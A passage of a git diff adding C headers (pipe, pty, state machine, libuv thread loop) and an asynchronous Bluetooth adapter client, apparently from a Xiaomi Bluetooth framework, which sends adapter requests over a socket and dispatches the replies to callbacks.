__EUV_PIPE_H__ +#define __EUV_PIPE_H__ +#include "uv.h" + +typedef enum { + EUV_PIPE_TYPE_UNKNOWN = -1, + EUV_PIPE_TYPE_SERVER_LOCAL, + EUV_PIPE_TYPE_SERVER_RPMSG, + EUV_PIPE_TYPE_CLIENT_LOCAL, + EUV_PIPE_TYPE_CLIENT_RPMSG, +} euv_pipe_mode_t; + +typedef enum { + EUV_ALL_PIPE_CLOSED = 0, + EUV_CLIENT_PIPE_OPENED = 1 << 0, + EUV_LOCAL_SERVER_PIPE_OPENED = 1 << 1, + EUV_RPMSG_SERVER_PIPE_OPENED = 1 << 2, +} euv_pipe_status_t; + +typedef struct euv_pipe { + uv_pipe_t cli_pipe; + uv_pipe_t srv_pipe[2]; + euv_pipe_mode_t mode; + euv_pipe_status_t status; + void* data; +} euv_pipe_t; + +typedef void (*euv_read_cb)(euv_pipe_t* handle, const uint8_t* buf, ssize_t size); +typedef void (*euv_write_cb)(euv_pipe_t* handle, uint8_t* buf, int status); +typedef void (*euv_alloc_cb)(euv_pipe_t* handle, uint8_t** buf, size_t* len); +typedef void (*euv_connect_cb)(euv_pipe_t* handle, int status, void* user_data); + +euv_pipe_t* euv_pipe_open(uv_loop_t* loop, const char* path, euv_connect_cb cb, void* user_data); +void euv_pipe_close(euv_pipe_t* handle); +euv_pipe_t* euv_pipe_connect(uv_loop_t* loop, const char* path, euv_connect_cb cb, void* user_data); +#ifdef CONFIG_NET_RPMSG +euv_pipe_t* euv_rpmsg_pipe_connect(uv_loop_t* loop, const char* path, const char* cpu_name, euv_connect_cb cb, void* user_data); +void euv_pipe_close2(euv_pipe_t* handle); +#endif +void euv_pipe_disconnect(euv_pipe_t* handle); +int euv_pipe_write(euv_pipe_t* handle, uint8_t* buffer, int length, euv_write_cb cb); +int euv_pipe_read_start(euv_pipe_t* handle, uint16_t read_size, euv_read_cb read_cb, euv_alloc_cb alloc_cb); +int euv_pipe_read_stop(euv_pipe_t* handle); +#endif \ No newline at end of file diff --git a/framework/include/euv_pty.h b/framework/include/euv_pty.h new file mode 100644 index 0000000000000000000000000000000000000000..39e6b522c525ebcfdab46c620dc907b6f3df9d83 --- /dev/null +++ b/framework/include/euv_pty.h @@ -0,0 +1,33 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __EUV_PTY_H__ +#define __EUV_PTY_H__ +#include "uv.h" + +typedef struct _euv_pty euv_pty_t; +typedef void (*euv_read_cb)(euv_pty_t* handle, + const uint8_t* buf, ssize_t size); +typedef void (*euv_write_cb)(euv_pty_t* handle, uint8_t* buf, int status); +typedef void (*euv_alloc_cb)(euv_pty_t* handle, uint8_t** buf, size_t* len); + +euv_pty_t* euv_pty_init(uv_loop_t* loop, int fd, uv_tty_mode_t mode); +void euv_pty_close(euv_pty_t* hdl); +int euv_pty_write(euv_pty_t* handle, uint8_t* buffer, int length, euv_write_cb cb); +int euv_pty_read_start(euv_pty_t* handle, uint16_t read_size, euv_read_cb cb); +int euv_pty_read_start2(euv_pty_t* handle, uint16_t read_size, euv_read_cb read_cb, euv_alloc_cb alloc_cb); +int euv_pty_read_stop(euv_pty_t* handle); +#endif \ No newline at end of file diff --git a/framework/include/state_machine.h b/framework/include/state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..23c352d6823d361b1d170214b610d5a320a9e2ba --- /dev/null +++ b/framework/include/state_machine.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __STATE_MACHINE_H__ +#define __STATE_MACHINE_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdbool.h> +#include <stdint.h> +#include <stdlib.h> + +typedef struct _state_machine state_machine_t; + +typedef struct _state { + const char* state_name; + const uint16_t state_value; + void (*enter)(state_machine_t* sm); + void (*exit)(state_machine_t* sm); + bool (*process_event)(state_machine_t* sm, uint32_t event, void* data); +} state_t; + +typedef struct _state_machine { + const state_t* initial_state; + const state_t* previous_state; + const state_t* current_state; + const state_t* parent_state; +} state_machine_t; + +void hsm_ctor(state_machine_t* sm, const state_t* initial_state); +void hsm_dtor(state_machine_t* sm); +void hsm_transition_to(state_machine_t* sm, const state_t* state); +const state_t* hsm_get_current_state(state_machine_t* sm); +const state_t* hsm_get_previous_state(state_machine_t* sm); +const char* hsm_get_state_name(const state_t* state); +uint16_t hsm_get_state_value(const state_t* state); +const char* hsm_get_current_state_name(state_machine_t* sm); +uint16_t hsm_get_current_state_value(state_machine_t* sm); +bool hsm_dispatch_event(state_machine_t* sm, uint32_t event, void* p_data); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/framework/include/uv_thread_loop.h b/framework/include/uv_thread_loop.h new file mode 100644 index 0000000000000000000000000000000000000000..20d8d132864db5fa434d74866fa98959eacff5ab --- /dev/null +++ b/framework/include/uv_thread_loop.h @@ -0,0 +1,50 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _UV_THREAD_LOOP_H__ +#define _UV_THREAD_LOOP_H__ + +#include <stdint.h> + +#include "uv.h" + +typedef void (*thread_func_t)(void* data); + +typedef struct thread_loop_work thread_loop_work_t; +typedef void (*thread_work_cb_t)(thread_loop_work_t* work, void* userdata); +typedef void (*thread_after_work_cb_t)(thread_loop_work_t* work, void* userdata); + +typedef struct thread_loop_work { + uv_work_t work; + thread_work_cb_t work_cb; + thread_after_work_cb_t after_work_cb; + void* userdata; +} thread_loop_work_t; + +int thread_loop_init(uv_loop_t* loop); +int thread_loop_run(uv_loop_t* loop, bool start_thread, const char* name); +void thread_loop_exit(uv_loop_t* loop); +uv_poll_t* thread_loop_poll_fd(uv_loop_t* loop, int fd, int pevents, uv_poll_cb cb, void* userdata); +int thread_loop_reset_poll(uv_poll_t* poll, int pevents, uv_poll_cb cb); +void thread_loop_remove_poll(uv_poll_t* poll); +uv_timer_t* thread_loop_timer(uv_loop_t* loop, uint64_t timeout, uint64_t repeat, uv_timer_cb cb, void* userdata); +uv_timer_t* thread_loop_timer_no_repeating(uv_loop_t* loop, uint64_t timeout, uv_timer_cb cb, void* userdata); +void thread_loop_cancel_timer(uv_timer_t* timer); +void do_in_thread_loop(uv_loop_t* loop, thread_func_t func, void* data); +void do_in_thread_loop_sync(uv_loop_t* loop, thread_func_t func, void* data); +void thread_loop_work_sync(uv_loop_t* loop, void* user_data, thread_work_cb_t work_cb, + thread_after_work_cb_t after_work_cb); + +#endif /* _UV_THREAD_LOOP_H__ */ \ No newline at end of file diff --git a/framework/socket/async/bt_adapter_async.c b/framework/socket/async/bt_adapter_async.c new file mode 100644 index 0000000000000000000000000000000000000000..38838d9bdac12f442c4e23bc8e80762d86fe1be7 --- /dev/null +++ b/framework/socket/async/bt_adapter_async.c @@ -0,0 +1,735 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_adapter.h" +#include "bt_async.h" +#include "bt_socket.h" + +typedef struct { + void* userdata; + void* cookie; +} bt_register_callback_data_t; + +static void adapter_status_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_status_cb_t ret_cb = (bt_status_cb_t)cb; + + HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, adpt_r, userdata); +} + +static void adapter_bool_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_bool_cb_t ret_cb = (bt_bool_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.bbool, userdata); +} + +static void adapter_uint16_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_u16_cb_t ret_cb = (bt_u16_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.v16, userdata); +} + +static void adapter_uint32_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_u32_cb_t ret_cb = (bt_u32_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.v32, userdata); +} + +static void adapter_get_state_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_adapter_get_state_cb_t ret_cb = (bt_adapter_get_state_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_ADAPTER_STATE_OFF, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.state, userdata); +} + +static void adapter_get_device_type_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_device_type_cb_t ret_cb = (bt_device_type_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_DEVICE_TYPE_UNKNOW, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.dtype, userdata); +} + +static void adapter_get_address_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_address_cb_t ret_cb = (bt_address_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, &packet->adpt_pl._bt_adapter_get_address.addr, userdata); +} + +static void adapter_get_name_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_string_cb_t ret_cb = (bt_string_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_pl._bt_adapter_get_name.name, userdata); +} + +static void adapter_get_uuids_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_uuids_cb_t ret_cb = (bt_uuids_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, 0, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_pl._bt_adapter_get_uuids.uuids, packet->adpt_pl._bt_adapter_get_uuids.size, userdata); +} + +static void adapter_get_scan_mode_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_adapter_get_scan_mode_cb_t ret_cb = (bt_adapter_get_scan_mode_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_SCAN_MODE_NONE, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.mode, userdata); +} + +static void adapter_get_io_capability_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_adapter_get_io_capability_cb_t ret_cb = (bt_adapter_get_io_capability_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_IO_CAPABILITY_UNKNOW, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_r.ioc, userdata); +} + +static void adapter_get_devices_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_adapter_get_devices_cb_t ret_cb = (bt_adapter_get_devices_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, 0, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, packet->adpt_pl._bt_adapter_get_bonded_devices.addr, + packet->adpt_pl._bt_adapter_get_bonded_devices.num, userdata); +} + +static void adapter_get_le_address_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_adapter_get_le_address_cb_t ret_cb = (bt_adapter_get_le_address_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, BT_LE_ADDR_TYPE_UNKNOWN, userdata); + return; + } + + ret_cb(ins, packet->adpt_r.status, &packet->adpt_pl._bt_adapter_get_le_address.addr, + packet->adpt_pl._bt_adapter_get_le_address.type, userdata); +} + +static void adapter_register_callback_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_register_callback_data_t* data = userdata; + bt_socket_async_client_t* priv = ins->priv; + bt_status_t status; + bt_register_callback_cb_t ret_cb = (bt_register_callback_cb_t)cb; + + if (!packet) { + status = BT_STATUS_UNHANDLED; + goto error; + } + + if (packet->adpt_r.status != BT_STATUS_SUCCESS) { + status = packet->adpt_r.status; + goto error; + } + + ret_cb(ins, packet->adpt_r.status, data->cookie, data->userdata); + + free(data); + return; + +error: + bt_callbacks_list_free(priv->adapter_callbacks); + priv->adapter_callbacks = NULL; + ret_cb(ins, status, data->cookie, data->userdata); + free(data); +} + +bt_status_t bt_adapter_register_callback_async(bt_instance_t* ins, + const adapter_callbacks_t* adapter_cbs, bt_register_callback_cb_t cb, void* userdata) +{ + bt_register_callback_data_t* data; + bt_socket_async_client_t* priv; + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + priv = ins->priv; + if (!priv) + return BT_STATUS_IPC_ERROR; + + if (priv->adapter_callbacks) { + handle = bt_remote_callbacks_register(priv->adapter_callbacks, NULL, (void*)adapter_cbs); + if (handle == NULL) + return BT_STATUS_NO_RESOURCES; + + goto send_message; + } + + priv->adapter_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (priv->adapter_callbacks == NULL) + return BT_STATUS_NOMEM; + +#ifdef CONFIG_BLUETOOTH_FEATURE + handle = bt_remote_callbacks_register(priv->adapter_callbacks, ins, (void*)adapter_cbs); +#else + handle = bt_remote_callbacks_register(priv->adapter_callbacks, NULL, (void*)adapter_cbs); +#endif + + if (handle == NULL) { + bt_callbacks_list_free(priv->adapter_callbacks); + priv->adapter_callbacks = NULL; + return BT_STATUS_NO_RESOURCES; + } + +send_message: + data = calloc(1, sizeof(bt_register_callback_data_t)); + data->userdata = userdata; + data->cookie = handle; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_REGISTER_CALLBACK, adapter_register_callback_reply, cb, data); + if (status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(priv->adapter_callbacks); + priv->adapter_callbacks = NULL; + free(data); + return BT_STATUS_FAIL; + } + + return status; +} + +bt_status_t bt_adapter_unregister_callback_async(bt_instance_t* ins, void* cookie, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + bt_socket_async_client_t* priv; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + priv = ins->priv; + if (!priv || !priv->adapter_callbacks) + return BT_STATUS_IPC_ERROR; + + bt_remote_callbacks_unregister(priv->adapter_callbacks, NULL, cookie); + if (bt_callbacks_list_count(priv->adapter_callbacks) > 0) { + return BT_STATUS_SUCCESS; + } + + bt_callbacks_list_free(priv->adapter_callbacks); + priv->adapter_callbacks = NULL; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_UNREGISTER_CALLBACK, adapter_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_enable_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_ENABLE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_disable_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_DISABLE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_enable_le_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_ENABLE_LE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_disable_le_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_DISABLE_LE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_state_async(bt_instance_t* ins, bt_adapter_get_state_cb_t get_state_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_STATE, adapter_get_state_reply, (void*)get_state_cb, userdata); +} + +bt_status_t bt_adapter_is_le_enabled_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_IS_LE_ENABLED, adapter_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_type_async(bt_instance_t* ins, bt_device_type_cb_t get_dtype_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_TYPE, adapter_get_device_type_reply, (void*)get_dtype_cb, userdata); +} + +bt_status_t bt_adapter_set_discovery_filter_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_adapter_start_discovery_async(bt_instance_t* ins, uint32_t timeout, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_start_discovery.v32 = timeout; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_START_DISCOVERY, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_cancel_discovery_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_CANCEL_DISCOVERY, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_is_discovering_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_IS_DISCOVERING, adapter_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_address_async(bt_instance_t* ins, bt_address_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_ADDRESS, adapter_get_address_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_name_async(bt_instance_t* ins, const char* name, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (strlen(name) > sizeof(packet.adpt_pl._bt_adapter_set_name.name)) + return BT_STATUS_PARM_INVALID; + + memset(packet.adpt_pl._bt_adapter_set_name.name, 0, sizeof(packet.adpt_pl._bt_adapter_set_name.name)); + strncpy(packet.adpt_pl._bt_adapter_set_name.name, name, sizeof(packet.adpt_pl._bt_adapter_set_name.name) - 1); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_NAME, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_name_async(bt_instance_t* ins, bt_string_cb_t get_name_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_NAME, adapter_get_name_reply, (void*)get_name_cb, userdata); +} + +bt_status_t bt_adapter_get_uuids_async(bt_instance_t* ins, bt_uuids_cb_t get_uuids_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_UUIDS, adapter_get_uuids_reply, (void*)get_uuids_cb, userdata); +} + +bt_status_t bt_adapter_set_scan_mode_async(bt_instance_t* ins, bt_scan_mode_t mode, bool bondable, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_scan_mode.mode = mode; + packet.adpt_pl._bt_adapter_set_scan_mode.bondable = bondable; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_SCAN_MODE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_scan_mode_async(bt_instance_t* ins, bt_adapter_get_scan_mode_cb_t get_scan_mode_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_SCAN_MODE, adapter_get_scan_mode_reply, (void*)get_scan_mode_cb, userdata); +} + +bt_status_t bt_adapter_set_device_class_async(bt_instance_t* ins, uint32_t cod, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_device_class.v32 = cod; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_DEVICE_CLASS, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_device_class_async(bt_instance_t* ins, bt_u32_cb_t get_cod_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_DEVICE_CLASS, adapter_uint32_reply, (void*)get_cod_cb, userdata); +} + +bt_status_t bt_adapter_set_io_capability_async(bt_instance_t* ins, bt_io_capability_t cap, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_io_capability.cap = cap; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_IO_CAPABILITY, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_io_capability_async(bt_instance_t* ins, bt_adapter_get_io_capability_cb_t get_ioc_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_IO_CAPABILITY, adapter_get_io_capability_reply, (void*)get_ioc_cb, userdata); +} + +bt_status_t bt_adapter_set_inquiry_scan_parameters_async(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.type = type; + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.interval = interval; + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.window = window; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_INQUIRY_SCAN_PARAMETERS, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_page_scan_parameters_async(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_page_scan_parameters.type = type; + packet.adpt_pl._bt_adapter_set_page_scan_parameters.interval = interval; + packet.adpt_pl._bt_adapter_set_page_scan_parameters.window = window; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_PAGE_SCAN_PARAMETERS, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_le_io_capability_async(bt_instance_t* ins, uint32_t le_io_cap, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_le_io_capability.v32 = le_io_cap; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_LE_IO_CAPABILITY, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_le_io_capability_async(bt_instance_t* ins, bt_u32_cb_t get_le_ioc_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_LE_IO_CAPABILITY, adapter_uint32_reply, (void*)get_le_ioc_cb, userdata); +} + +bt_status_t bt_adapter_get_le_address_async(bt_instance_t* ins, bt_adapter_get_le_address_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_LE_ADDRESS, adapter_get_le_address_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_le_address_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_set_le_address.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_LE_ADDRESS, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_le_identity_address_async(bt_instance_t* ins, bt_address_t* addr, bool is_public, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_set_le_identity_address.addr, addr, sizeof(*addr)); + packet.adpt_pl._bt_adapter_set_le_identity_address.pub = is_public; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_LE_IDENTITY_ADDRESS, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_le_appearance_async(bt_instance_t* ins, uint16_t appearance, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_le_appearance.v16 = appearance; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_LE_APPEARANCE, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_le_appearance_async(bt_instance_t* ins, bt_u16_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_LE_APPEARANCE, adapter_uint16_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_le_enable_key_derivation_async(bt_instance_t* ins, + bool 